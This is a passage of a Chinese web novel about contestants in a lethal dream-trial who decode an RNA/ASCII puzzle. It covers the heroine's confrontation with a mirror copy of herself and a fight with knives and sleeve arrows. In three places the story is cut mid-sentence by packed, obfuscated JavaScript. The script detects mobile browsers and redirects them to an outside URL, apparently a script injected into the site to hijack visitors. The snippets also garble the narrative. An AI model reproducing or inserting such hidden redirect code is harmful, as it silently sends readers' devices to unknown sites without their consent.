死在这里的人居然没有化作流光消失,而是完整地保存了血腥的死状,空气中的血腥味后知后觉地弥漫过来。 南柯眉骨几不可查地跳了跳,乔茜和陈立阳脸色也有些难看,白芒甚至直接扒着餐桌的边缘忍不住干呕起来。 陈安仍是云淡风轻的语气:“我完全能理解这位……哦,对,Bob先生。我完全理解您的心情。不过别担心,只要我们互相友好一点,不要犯规,就不会发生这样的事。” 这时候,一直没说话的双胞胎兄弟之一嗤笑一声。 陈安挑眉:“苏一先生有什么高见?” 被称为苏一的男生撇过头去,不说话了。 乔茜觉得挺有意思:“苏一?难道另一位是苏二?” 白芒:你以为是熊大熊二? 想不到,听了她的话,关注点一直在点心上的男生突然眼神放光地扭过头来:“欸,你怎么知道,好聪明!”语气意外地稚嫩,满满孩子气。 白芒:……行吧。 聊天有一搭没一搭地进行,人人绵里藏针,谁也没透露关键信息。 正当南柯思索最终的关卡还有多久开启的时候,房间里突然响起清晰的立体环绕声:“各位应试者请注意,‘细胞工厂’梦境的最终试炼将在一分钟后开启。届时,还未到达终点的应试者将会直接失去试炼资格。” “倒计时60……” “59……” “58……” “……” 通知声不再是冰冷的机械女声。 虽然仍像是AI合成的声音,但语气中感情充沛,带着让人毛骨悚然的跃跃欲试。 南柯的注意力集中在周边还困着活人的房间里。 突然,她感觉自己的衣袖被轻轻拽了一下。 转过头,陈立阳的眼里像蕴了清冽的山泉:“姐姐,别怕。” 角色的颠倒让南柯觉得有些好笑,很想揉揉他的头发。 还不待南柯开口,陈立阳很快又补了一句:“不管发生什么,我都会带你出去的。” 少年声音很轻,神色却郑重,像许下千金承诺。 南柯忍不住起了逗他的念头。 她笑出一声气音:“好啊,那就……加油带我出去吧。” 15. 细胞工厂(十五) 谜面是KILL 倒计时的声音在整个“细胞工厂”的场景内响起,随着时间的流逝,还困在其他颜色房间的人有的脸色灰败,有的面目狰狞……但他们无论如何都无法再改变即将被抹杀的命运。 终于,60秒的计时归零。 漆黑的浓雾瞬间席卷玻璃房外所有其他房间,这颗“细胞核心”成了茫茫宇宙中唯一漂浮的孤星。 在最后一刻,房间的一角传来急促的机括声。大门洞开,最后一个应试者进入房间内。 1000名应试者,最后只剩下9个。 “居然是她……”乔茜低声呢喃。 来的人,南柯四人并不陌生,竟是曾和他们有过短暂交集的肖璐。肖璐朝着他们的方向挥了挥手,看神情,对他们能到达终点的事实不太吃惊。 南柯不动声色地多看了她几眼。 没留给他们多余的“叙旧”时间,在时间归零的下一刻,立体环绕声再次响起:“各位最优秀的应试者们,欢迎来到“细胞工厂”的最终试炼!” “谜面已经显示在大家面前的屏幕上。10分钟内,破解谜面,并将谜面输入下方的空白框,可顺利开启试炼程序。否则,算作穿越失败。” “计时开始!” 规则宣读的同时,众人围坐的餐桌凭空消失,餐桌原先的位置出现了一块巨大的悬空全息投影屏,最上方是10分钟的计时框,中间是几行看起来没有任何规律的大写英文字母。在屏幕最下方有一个空白输入框,白框下面是包含二十六个英文字母的键盘,用于键入答案。 白芒眉头紧皱:“谜面居然都不是直接公布的。” 时间紧迫,陈安提议:“总归大家都要知道题目才能答题,不管之后是否有竞争关系,这一步不如大家集思广益?” 苏一似乎和陈安格外不对盘,他冷哼一声:“用得着你说?” 南柯无暇顾及两人之间的暗流涌动,她很快看完屏幕上的信息:“只有四种字母,AUCG,是RNA中的四种核苷酸。” 听了南柯的话,白芒又从上到下仔细看了一遍:“还真是!难怪叫‘细胞核’,还真跟遗传信息有关系。” 乔茜:“但细胞里的遗传信息是用来编码蛋白质的,总不能让我们输入蛋白质吧?” 苏二插进话来:“遗传信息编码蛋白的过程中,每三个核苷酸可以编码一个氨基酸,多个氨基酸形成氨基酸序列,最终通过特定的二维或三维折叠方式组装成蛋白质。” 他指了指大屏幕:“这种编码,有起始信号和终止信号,AUG是一种典型的开始信号,UAA、UAG、UGA是三种典型的终止信号,我大致看了一下,这里只有UGA,所以我们要破解的谜面应该在AUG和UGA之间,剩下的都是冗余序列。” 可能是因为手里没有点心了,苏二看起来少了几分孩子气,分析问题的时候神色格外认真。 他顿了顿,“可是,Queen小姐说的对,最终的答案不会是氨基酸或者蛋白质的名字,我暂时没有更多思路。” 此时,计时已经过了2分钟。 南柯看向陈立阳:“有没有一种已知的技术,是将核苷酸和文本信息联系起来的。” 陈立阳的目光从屏幕上移开。他看向陈安,声音带着平和的笑意:“或许,陈先生在这方面比较有话语权。” 陈安闻言扭过头来,瞳孔微微缩了一下,语气难掩惊讶:“你……认识我?” 陈立阳摸摸鼻子:“只是前阵子在新闻上看过陈先生的报道。” 既然被点破,陈安也不再藏着掖着。他快速道:“当前确实有一种用核苷酸编码信息的新技术,叫做DNA存储技术。这种技术需要二进制编码作为中介,将核苷酸序列转化为文本。DNA中有ATCG四种核苷酸,举个例子,假设规定A代表00,T代表01,C代表10,G代表11,这四种核苷酸就可以涵盖所有的二进制序列,之后再将二进制信息转化为文本信息就比较简单了。这里用的是RNA中的AUCG,应该也是一样的原理。” 肖璐恍然大悟:“的确,二进制信息转化为文本,可以用ASCII码一一对应。” 白芒有些跟不上节奏:“那又是什么?” 陈立阳耐心解释:“就是每个字符都用一个7位二进制代码表示,比如说,在国际约定的规则中,大写字母A对应的编码是1000001,以此类推,26个大小写字母和0到9的数字都可以用二进制字符表示。” 南柯很快理解了这套编码逻辑,但这并没有让她感到轻松。她一针见血地指出问题:“所以,这个谜题的难点在于,AUCG四种核苷酸分别代表的到底是哪种二进制组合。” 白芒终于会意:“AUCG和00、01、10、11一一对应的话,那就是有……4×3×2×1,一共24种可能性!” 时间剩下最后5分钟。 南柯当机立断:“我们分工尝试。我来尝试A对应00的6种组合。” 陈安:“那我来尝试A对应01。” 苏二和苏一对视一眼:“我试试A对应10。” 剩下的人面面相觑。 最终,陈立阳不负众望,语气谦逊:“那我来试最后6种吧。” 本来他们一共九个人,平均分工的话或许更加轻松,但白芒和乔茜不知道ASCII的编码规则;Lucy一直不发言,从头到尾像个透明人;苏一看上去格外相信苏二;肖璐则是面露难色,隐晦地表达自己无法胜任这种高强度的工作。所以,最终破解的任务还是落在南柯、陈安、苏二和陈立阳身上。 现场没有纸张,一切计算都在脑子里进行。 输入答案的键盘只有字母没有数字,所以有些涉及到数字的对应关系可以直接排除,另外,如果前半部分解码出来不能连成一句话,也可以直接跳过,节省了很多工作量。 很快,倒计时只剩下最后1分钟。白芒等人紧张地盯着小小的计时框,神色比正在尝试破解密码的四人还要紧张。 终于,在倒计时来到46秒的时候,苏二率先摇了摇头。他没开口打扰还在尝试破解题目的剩下几人,只是用眼神示意他的6种组合无法给出有含义的文本信息。 所有人的神色都沉了沉。 更差的消息紧随其后——在倒计时只剩30秒的时候,陈安同样摊手,表示他尝试的组合也无法破解。 白芒和乔茜对视一眼,小声交流:“不应该呀,漂亮弟弟的能力我们都知道,怎么现在还没结果。” 乔茜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578991|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有些疑惑,但她稳住心神:“别急,还有时间,相信南姐他们。” 比起其他人的焦灼,寄托所有人希望的陈立阳神色却格外平静,看不出任何波澜。倒是南柯,在半分钟前,她的眉就轻轻拧起来,似是陷入沉思。 陈安脸色难看,看着乔茜和白芒,压低声音:“这两位到底行不行?” 乔茜摊手:“行不行的,你现在也只能指望他们。不然你自己继续试好了。” 陈安:“……” 现在重新试其他编码方式也来不及了,怪只能怪能解开谜题的编码方式没分配到自己手上。他目光重新回到南柯和陈立阳身上,只能期待这两个人别那么没用。 终于,在倒计时只剩下15秒的时候,陈立阳的目光缓缓从屏幕上移开,最终落在南柯被屏幕照亮的侧脸上。 “姐姐,时间快到了,输入答案吧。”他声音清缓,语气却笃定,像是肯定南柯一定已经解出答案。 他的话打破了南柯沉思的状态。 她回神,看向众人,声音浅淡:“抱歉,刚刚在想谜面的含义,不小心走神了。”她一边说,一边走向屏幕,没有犹豫地在屏幕上键下十二个字母:KILLTHISCELL。 最后一个“L”输入结束,屏幕最上方的倒计时刚好到“00:00”。 所有人屏住呼吸。 好在,立体环绕声很快应时而来:“砰!恭喜大家,成功破解谜面!” 同一时间,屏幕上的所有字母消失不见,变成一串巨大的蓝色字符,正是刚刚南柯输入的答案——KILLTHISCELL! 陈安不禁多看了南柯几眼,原先的质疑变成隐隐的惊讶。原来,她早就解出了答案! Nancy……Charles……这两个人好像都不简单。 不过,他暂时没时间深想。成功破解谜面的喜悦并没有维持多久,提示音很快继续响起:“一分钟后,最终的试炼正式开启。请各位应试者做好准备。” “倒计时60……” “59……” “58……” “……” “谜面是‘杀死细胞’,那么谜底会是什么?怎样才算是杀死?”肖璐问出了大部分人的心声。 在倒计时结束前,陈立阳给出一个很抽象的答案:“细胞通过拷贝遗传信息和不断增殖来保持生命力。或许,消灭它的拷贝,对细胞来说就是真正意义上的‘杀死’。” 空荡荡的蓝色玻璃房里,刚刚存在于中央的屏幕也缓慢消失,只剩下他们九个人。 乔茜扫视四周:“这里除了我们之外什么都没有,什么会是细胞的遗传信息?” 倒计时已经进行到最后5秒钟。 在众人严阵以待的气氛中,南柯眼含深意地朝苏一和苏二的方向看了一眼。 “或许,在这个‘试炼’中,用于指代细胞遗传信息的,就是我们本人。” 她的话音落下,倒计时刚好归零。 南柯眼前一花,天旋地转的感觉随之而来。 再睁开眼时,周围只剩下她一个人。 她面前,是一面水银色的全身镜。镜中倒映出一个和她长得一模一样人影,挑着烈焰般的红唇,一步一步朝她走过来。 16. 细胞工厂(十六) 南柯隔着镜面和另一个自己对视,随时警惕着里面的人破镜而出。 不过,镜中人在距离镜面一臂之遥的地方停了下来,没有再逼近。 这种和“自己”对视的感觉有些奇怪,南柯以静制动,等待对方动作。 果然,僵持几秒后,镜中人笑着开口:“不必这么紧绷,我就是你,你就是我,我们本是一体,我不会害你。”她歪头,“只是,你不想换种活法吗?” 南柯挑眉:“什么活法?” “一种……自由自在,没有任务,不受蝶网约束的活法。” 蝶网是南柯所在组织的名称,这个“梦境”居然可以读取人的记忆。 南柯不动声色地与镜中人周旋:“不用了,我很满意现在的活法。” “是吗?”镜中人大笑出声,“你可能忘了一些事,不过没关系,有我替你记着。” “你第一次上蝶网的竞技场和大你两岁的前辈比试时输了,被教授格斗技巧的导师责罚三天三夜不许吃饭,也不许中断训练,差点儿死在训练场里。那一年,你刚满十岁。” 南柯面无表情地盯着她。 “你十六岁的时候第一次出任务,追着商业间谍到了边境线,历尽艰难终于击杀间谍,却在归程遭遇了敌人埋伏,枪林弹雨里,同伴为你挡了一枪。临死前,她跟你说了什么?” 随着镜中人的描述,从前的画面不可控地流入南柯的脑中。 蝶网的新人第一次出任务的时候会和前辈一起,那一年,替她中枪的是带她执行任务的前辈,那枚子弹从前辈的后背穿胸而过。 倚在树上休息时,前辈望着雨林里遮天蔽日的榕树冠,笑得气若游丝,她说:“好想再看一眼外面的阳光啊……等你长大,就离开蝶网吧。” 枪伤本来并不致命,但热带雨林里伤口感染的速度加快,等南柯终于背着前辈走出雨林的时候,背上的人已经变成冷硬的尸体。 回蝶网后,前辈被草草埋葬,一切存在过的痕迹被抹除干净。而她自己,因为没有将间谍活着带回来而被关了禁闭,一切平常地像一个最普通不过的任务。 南柯的手指紧紧攥起来。 那次任务,走出雨林的时候,太阳刚好升起。没有树木的阻碍,阳光大盛,看上去充满希望。 但前辈没能再看到外面的阳光。 午夜梦回时,每每梦到雨林外的那次日出,南柯都会从梦中惊悸而起。她无数次恨自己年少时的弱小,恨那枚子弹洞穿的怎么不是自己的身体。 沉封的回忆被别人以这种漫不经心的语气提起,像是毫不留情地将她结痂的伤口撕扯开。她眼眶猩红地望向镜中人,像是望向当年那个无能的自己。 涌动的情绪和刻在基因里的理智将她来回拉扯。 镜中人不太满意南柯的反应。 她勾唇笑了笑,继续慢条斯理地陈述:“哦,对了,差点儿忘了那一次。Maya集团的首席技术官收到恐吓信,那位女士十分有先见之明地向蝶网求助,你被任命假扮她出席产品发布会。虽然你已经格外谨慎,但由于组织错误地估计了敌人的战力,只出动了很少人进行防护,结果你被当成首席技术官本人抓起来。那时候你又经历了什么?” 南柯垂眸看向自己的手臂。 那一次,她被拷问了一天一夜,逼问Maya新产品的源代码存储在哪里。暗室的地面被她的鲜血染红。 逼问无果,她的手臂被注入大剂量的毒·品。那时候,眼前仿佛突然蒙上朦胧的雾气,她从雾气中见到从前许多因执行任务而殒命的同伴,包括为她而死的前辈。 她觉得自己应该是要死了,心底竟像松了一口气。想不到,最后又被组织救回。 她在暗无天日的地下室花了一整年的时间去戒断。出来时,形销骨立,和从前判若两人。 那之后,她就再也不怕死了,因为已经死过一次了。 “你不会是舒服日子过久了,不记得来时路上有怎样的尸山血海吧?”镜中人步步紧逼。 从那次被抓后,许是组织也觉得南柯不再适合高强度的任务,于是她的任务变成了贴身保护A国顶尖的企业家,虽然偶尔也会遭遇境外的暗杀势力,但相比于从前,已经可以用风平浪静来形容。 她以为她会一直这样活到退役,然后平淡地过完这一生,直到……她知道梅园的秘密。 南柯攥着的手缓慢地松开,声音没什么情绪:“你不说,我差点儿都忘记了。” 镜中人微眯起眼:“现在我替你想起来了。”她声音带着诱哄:“难道你不想离开蝶网吗?不恨那群将你和同伴的命视为草芥的话事人?不想报复他们吗?”她的语气逐渐狠厉。 南柯耸耸肩:“你既然知道我的事,就应该知道,蝶网会对叛逃的成员处以极刑,我走不了。” “哈哈哈,”镜中人像听到很好听的笑话,“你连死都不怕,还怕这个。我说过,我就是你,你骗不了我。”她饶有意味地看向南柯,“蝶网的梅园里,梅花一定很好看吧?” 梅园。 南柯强行克制住内心翻涌的情绪,手掌再次攥紧,指甲堪堪陷进掌心的软肉里。 闭上眼,梅园里鲜红热烈的梅花竞相开放的场景仿佛就在眼前。 用鲜血染红的梅花,怎能不好看。 镜中人还在循循善诱:“承认吧,你对蝶网的仇恨早已难以抑制,不然,也不会诞生我。我会帮你一起报仇!”她向前一步,手指已经快要触到镜面的边缘。 南柯低垂着眼,似在考虑。镜中人好整以暇地看着她,似乎料定她无法拒绝复仇的诱惑。 不知过了多久,南柯终于抬起眼来。 她眼里不余波澜,只有手掌殷红的痕迹昭示着她经历了怎样的挣扎。 “你说,你就是我?” “当然。” “你知道我所有的事?” “我们共享记忆。” 南柯偏头看向镜中人:“那,你记得‘Chen’这个人吗?” 镜中人少见地皱了皱眉,露出困惑的神色。 “看来你不知道。”南柯不太意外这个答案,只是想要确认一下。她笑了笑:“你说,你会帮我报仇?” 镜中人的眼睛亮了亮:“当然。” “是帮我,还是取代我?” 镜中人的笑意僵在脸上。 南柯继续说:“虽然不知道【造梦空间】是怎么做到的,但它确实剥离出了我的一部分。你就是我,只不过是被复仇的意志主导的那部分我。”她顿了顿,“杀死‘拷贝’,才能离开‘梦境’。如果你杀死我,你就可以取代我在这个‘梦境’通关,是吗?” 被拆穿,镜中人也不再虚与委蛇。 她冷笑一声:“既然你已经猜到,那也不怕告诉你,我们之间确实只有一个人可以出去。不杀了我,你也无法离开!” “只有一个人能离开……听起来会是你死我活的情形。”南柯直视镜中人充满怨毒的眼睛:“不过我猜,只要我不打破镜面,你就永远无法出来。这一关,考验的其实是你,而不是我。” 镜中人的表情终于发生剧变,从一开始的胜券在握变得面目狰狞。 她咬牙:“你怎么知道?” 南柯并没有胜利后的喜悦,她神色平静:“你很了解我,相反地,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578992|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也同样了解你。你死我活的局面,如果你能自己从镜子里出来,在我们见面的第一时间你就已经动手了,而不是激我杀你,或者说,是激我打破镜面。” 镜中人眼中充满不甘和疯狂:“你曾立誓一定要颠覆蝶网,为故人报仇。既然如此,我,还是你,又有什么不同?你心慈手软,甚至对萍水相逢的路人都不忍下杀手,凭你,可能连【造梦空间】都出不去,拿什么和蝶网复仇?” 南柯慢慢走近那面镜子,手指缓慢地贴上镜面,与镜中人手掌相抵。 她声音似在喟叹:“如果每个人的执念都被锁在镜子里,那这个关卡也没有设置的必要。所以我猜,如果执念到达某个阈值,镜面的限制自然会解除,这也是你之前一直试图用过去的事激发我仇恨情绪的原因。” 她隔着镜子,面色平静地与镜中人对视:“但你至今都无法破镜而出,你知道是为什么吗?” 镜中人神色灰败地看着她,仿佛已经预料到自己的结局。 “因为,你只拥有我和仇恨有关的记忆。虽然在我的记忆中,这部分占了很大比例,但我心里仍然有一个没有被仇恨染指的角落。” 她声音很轻,似在呢喃:“在你所没有的记忆里,除了尸山血海,还有白色风信子。只要我还记得那些风信子,仇恨就不能完全吞噬我。而你,”她看向镜中人已经模糊的面孔,说完最后一句,“也永远不能取代我。” 话音落下,眼前的镜面像水面一样泛起剧烈的波纹。 镜中人的身形渐渐扭曲,最终完全消失。 恢复正常的镜面中清晰倒映出南柯真实的面容,她唇角挂着一丝笑意,带着有些陌生的温柔意味—— 不知道始于八年前的哪一天,南柯每隔一个月都会受到一封手写的信笺。信封总是压在她的枕头下,她不知道是谁送来的,组织里也没有任何人发现。 素白色的信纸上是流畅的行楷,启信人的称谓是“姐姐”,落款是用好看的花体写的“Chen”。 信里从不分享生活,有时候描写天气,有时候描写风景,有时候是一首温柔的短诗。信中内容干净纯洁,和她所经历的刀山火海全然不同。 印象里,她从来不认识名字中带有“Chen”的人,也无法将寄信者和任何一个自己接触过的人联系起来。但她贪恋信中那个自己无法触及的世界,于是把这件事隐瞒下来。 戒·毒那一年,她住在地下室,无法收到信笺。出去的时候,断了一年的信笺再次寄来,上面多了一支白色的风信子。 纤细的花枝仿佛稍稍用力就能折断,她小心翼翼地捧起花朵,手忙脚乱地将花插到水杯里。 从那以后,她收到的每一封信都会附带一支白色的风信子。这些素白的花成为她心里的暖色,陪伴她度过无数行尸走肉般的日子。 三个月前,信笺突然断掉了。 不久后,组织下达任务,要她进入【造梦空间】拯救于尘,那个人恰好于三个月前变成植物人。 于尘,Chen。 出于某种敏锐的直觉,她几乎没有任何犹豫地接下了这个任务。 不多时,镜面破碎的声音将南柯的思绪拉回当下,幻境开始坍塌。 她看着支离破碎的镜面,恍惚间好像看到里面下起了白色花雨。 她想,在报仇前,如果有可能的话,让她见见那个给她写信的人吧。 她想要看看他的样子是不是和自己想的一样温柔,即使代价是死去。 如果终归要死的话,她心甘情愿为那场白色的花雨殉葬—— 正如那些漂亮的花儿无数次将她的灵魂从地狱里拯救回人间那样。 17. 细胞工厂(十七) 幻境完全破碎的那一刻,南柯回到了之前所在的蓝色房间。然而,还没等她看清楚周围的情形,一柄短刀便当胸而来。 她敏捷地闪身躲过,与来人展开缠斗。对方身手不弱,看上去抱着必杀之心,招招狠厉。 等到微微拉开些距离,南柯才看清对手。 她微微拧眉:“是你?” Lucy把玩着手里的短刀,有些遗憾:“不是惯用的兵器,确实不太趁手。不愧是蝶网顶尖的精英啊,真难杀。” 从进入这个房间起,南柯就没动过手,她有些诧异Lucy怎么得知她的身份。她想到初见Lucy时心里莫名产生的那种对于同行的直觉,试探问:“你是黑罂粟的人?” 黑罂粟是和蝶网齐名的另外一个特工组织,由于业务有竞争关系,两大组织一直不太对付,但也一直维持着表面和平,没有明面上的争斗。 Lucy笑了笑:“回答正确。” 说话间,南柯终于得以看清周围的场景。 除了她和Lucy,苏一苏二也已经从幻境中清醒过来。此时,他们二人正保持着一个不远不近的距离旁观Lucy和她的对峙,神色警惕。 剩下五个人都在地上盘膝而坐,双目紧闭,看样子仍被困在幻境中。他们周身有一层薄薄的蓝色光罩,南柯猜想,这个光罩应该是起到保护的作用,这也解释了为什么直到她从幻境中醒来后Lucy才发起攻击。 她想到陈安说过这个房间里不能杀人的规则,神色淡漠:“看来,系统关于‘杀人’的规则应该是‘试炼’正式开始前不能杀人。”陈安用文字游戏省略了其中的一个条件,以放松后来者的警惕。 一旁的苏二不太自然地抓了抓脸。看来规则发布的时候苏姓兄弟也在场,难怪苏一看上去对陈安总是不太感冒。 南柯看向Lucy:“所以,你为什么杀我?”她和黑罂粟没什么仇怨,在这个“梦境”中,她也想不到她们之间有什么竞争关系。 Lucy的眼神骤然凌厉起来:“你的问题太多了,有命活着再问吧!”说着,她再次抬起短刀朝南柯刺过去。 南柯一边抵挡,一边分神查看陈立阳等人的情况。 赤手空拳对锋锐的利刃,本该没什么胜算,但她在蝶网的训练场里受过各种极端条件下的训练,有一次空着手和四个拿着短匕的成员对抗,以手臂被划伤两刀的代价将对手全部放倒。所以,当前的情况,她尚且能够应付。 Lucy迟迟无法占据上风,攻势渐渐凌乱起来。在某个时刻,她手里的短刀在南柯的格挡下高高扬起,终于露出破绽。 南柯冷静地抓住机会,化掌为拳直冲她的左胸而去。 Lucy眼神一凛,慌乱之间大喊一声:“你还不出手吗!” 南柯心头一跳,对危险的直觉让她临时放弃了进攻的打算,一个翻身滚到侧面,和Lucy拉开了一定距离。 就在她刚刚站立的位置,一枚袖箭飞驰而过。失去目标的袖箭击打在房间的墙壁上,最后化为流光消失不见。 南柯眼神冷厉地看向苏家兄弟,那枚袖箭恰好是从他们的方向发射而来。 苏一紧抿着唇放下绑着袖箭的手臂。 “哥哥!我们不是说好……”苏二难以置信地看着苏一。 苏一没说话,脸色看着有些苍白。 南柯在心里评估当下的情况。 看样子,在她从幻境中出来之前,先醒过来的Lucy一定和苏一达成了某种协议。Lucy和苏家兄弟并不相熟,应该是在这个“梦境”中刚刚认识。那么是什么让他们可以达成短暂的结盟? 她心里隐隐有了猜测,想必Lucy在之前的黄色房间中得到了其他关于通关的线索提示。 或许是这个“梦境”有通关人数的限制?但根据她的感受,“梦境”虽然处处鼓励应试者之间互相厮杀,但解密和破解机制仍是通关主线,几乎没有强行要求应试者之间互相淘汰的规则。 又或许…… 她看向Lucy:“通过这个‘梦境’后会产生很重要的奖励,而这个奖励只有一份,应试者之间需要抢夺,是这样吗?”所以,在知道她来自蝶网的情况下,Lucy才会和别人联手先对付她,否则,她一定会成为抢夺奖励的一大阻力。 Lucy的表情明显僵了一瞬。 “就算你猜到又怎样?”她看向苏一,语气急促:“和我一起动手,先杀了她再说!” 苏一站在原地没有动。 此时最重要的是分化对手。南柯冷静地看向苏一:“既然奖励只有一份,你怎么能保证杀了我她能把东西让给你?” Lucy急忙反驳:“杀了她,我们公平竞争,你们兄弟两人,我未必能占上风!你不了解蝶网的人,但我了解!她刚刚差一点死在你手里,如果让她活着出去,她不会放过你的!” 两人各执一词,苏一似在犹豫,迟迟没有动作。 苏二扯了扯他的袖子,低声哀求:“哥哥,别杀人。奖励给他们就是了,行吗?” 苏一看着苏二天真的神色,无奈地笑了笑。 他温柔地揉了揉苏二的头发,然后看向南柯:“Nancy小姐,虽然不认识你,但凭我的直觉,你不像是会迁怒的人。你也看到了,向你动手是我的意思,和我弟弟没关系,你不会怪罪他,是不是?” “当然。” 苏一得到想要的答案,心满意足地点了点头。 片刻,他轻声道:“但还是要和你说声抱歉了。” 没有任何征兆地,苏一挣开苏二的手,然后抬起手上的袖箭。 南柯瞳孔微缩,正要躲闪,却发现袖箭不是朝她的方向,而是朝向保护罩正在破碎的白芒。 电光火石间,南柯没时间犹豫。她没有武器抵挡,只能朝袖箭射出的方向跃起,用手掌握住袖箭的箭身以延缓箭矢的速度。最终,她险之又险地握着箭身在地面翻滚一圈以卸去冲击力,巨大的摩擦力生生擦破她手心大面积的皮肤,鲜血将箭身染得通红。 然而,袖箭还在伺机射出。 “躲到后面去!”南柯对着刚刚脱离幻境还在发愣的白芒大喊一声,一边躲闪飞来的箭矢,一边分出注意力关注旁边的Lucy,防止她暗中偷袭,情况急转直下。 箭矢不长眼,因此Lucy没有贸然靠近南柯,场面一度陷入僵持。 然而,不多时,陈立阳周身的保护罩突然悄无声息地破碎。 Lucy看着躲避箭矢的南柯,又将目光转向尚未完全苏醒的陈立阳,唇角挑出玩味的笑意,握紧短刀朝陈立阳的方向冲去。 南柯眉头一拧:“小孩儿,醒醒!” 她一边大喊,一边试图阻止Lucy靠近陈立阳,但时不时飞来的箭矢极大地削弱了她的速度,眼看Lucy手里的短刀就要刺到陈立阳身上。她一咬牙,不再躲避箭矢,直直朝陈立阳跑过去。幸好,她赶在刀尖触碰到陈立阳的前一刻抓住了Lucy的手腕,将她狠狠甩开。 陈立阳终于从幻境中完全醒来。 他睁开眼睛,里面蕴着朦胧的雾气,不知道在幻境中经历了什么。 “姐姐?” 南柯单膝跪地,和他四目相对,确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578993|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认从幻境中出来的人还是不是之前认识的小孩儿。 “姐姐,你怎么了?”陈立阳这才注意到南柯手上的血迹,着急询问。 “没事。”南柯面色平静,只是声音听上去有些虚弱。 “想不到,蝶网出来的人还能这么有人情味。”Lucy笑着拍了拍手,“但这次,大罗神仙也救不了你!” 她以胜利者的姿态看向南柯的后背,那里直直插着一把袖箭,一箭穿心。 “不过,蝶网的人向来顽强,就让我来替你补最后一刀!”说着,Lucy便握紧短刀刺向南柯。 只是,她还没有迈出步子,一枚袖箭便先一步射穿了她的后脑。 鲜血混着滚烫的脑浆滑落到Lucy脸上。 她瞪大眼睛,难以置信地转向身后看着刚刚放下手臂的少年。他的袖箭上一共有八枚箭矢,射出最后一箭后,袖箭化为一道流光消失,意味着道具彻底失效。 没几秒,Lucy的身体僵硬地倒下去。刚刚还趾高气扬的人到死都没想到自己居然会栽在那个看起来弱不禁风的少年手里。 杀掉Lucy,苏一面无表情地拿出一把匕首。 黄色房间的道具大部分和“梦境”规则相关,攻击类的道具不多见,他身上居然就有两件。 忽略掉一旁有些怔忡的苏二,他握着匕首缓慢地朝白芒的方向走过去。 “别……别过来!”白芒握着乔茜给他的手枪对准苏一的方向。 然而,微微颤抖的手泄露了他内心的矛盾和恐惧,软弱的威胁分毫没有阻碍苏一的脚步。 苏一歪歪头,语气带着挑衅:“来,开枪。” 终于,在苏一距离白芒只余五米远的时候,白芒一咬牙,扣下手枪的扳机。 枪里最后一枚子弹如愿射出,但苏一的脚步没有分毫迟滞。 或许是因为第一次用枪,白芒的子弹居然偏得厉害,甚至没碰到苏一的衣角! 白芒想要逃跑,但根本来不及,苏一已经和他一步之遥。他绝望地闭上眼等着利刃入体,但预想中的疼痛感却迟迟没有传来—— 就在苏一持刀下刺的瞬间,他的手腕突然被扣住,再无法寸进。 腕骨折断的声音在空旷的房间里响起,苏一手里的刀应声落下。 他退后两步,盯着不知何时已经站起身的南柯,眼里没有过多挫败的情绪,只是带着遗憾地笑了笑:“看来还是Lucy更了解你,箭矢贯穿心脏还能活下来,或许,这就是我的宿命。” 南柯扔掉刚刚从后心处拔出来的袖箭。 箭尖上明明染着鲜血,可她却活生生地站在这里。 她想起刚刚陈立阳红着眼眶悄悄对她说的话。 他说,“姐姐,我不会让你死的。” 下一刻,一圈细细的红绳在她和陈立阳的手腕上同时亮起——道具【命运之红绳】被动触发。 【被绑定的两人共享能量值。只要双方能量总值不为负数,则不会判定任意一人穿越失败。】 此前,南柯一直以为这个功能用“能量赠送”就可以实现,一度怀疑为什么“梦境”会出现功能重复的道具。直到现在,她才真正理解了道具的效用。 “被绑定的两人共享能量值”只是一个基本陈述,而后跟随的“只要,则”才是重点。这个充分条件语句的含义是,只要总能量值不为负数,她和陈立阳在这个“梦境”中就有一次抵消致命伤害的机会。 她为救陈立阳而中箭,对方的红绳又将她从死亡线上拉回来。 “命运共享”的意义在这一刻实现了真正的具象化。 18. 细胞工厂(十八) 在南柯刚刚动手的短暂时间内,乔茜和肖璐也终于从幻境中醒来。乔茜看上去脸色有些苍白,但还是第一时间朝南柯的方向点了点头,表明自己没被幻境中的人所取代。肖璐则看着地上Lucy的尸体若有所思,完全脱离于众人之外。 失去先机,苏一知道他再不可能是南柯的对手,干脆直接收了手里的匕首。苏二张开手臂护在他面前,警惕地盯着南柯,生怕下一刻就会迎来她的铁血报复。 南柯没有理会已经失去斗志的苏一,她目光落在陈安身上:“陈安先生,既然已经醒了,就别装睡了。” 众人这才发现,陈安周身的蓝色护罩不知何时已经消失,但他还是老神在在地闭着眼盘膝坐在地上,一副两耳不闻窗外事的模样。听到南柯的话,他终于悠悠睁开眼。 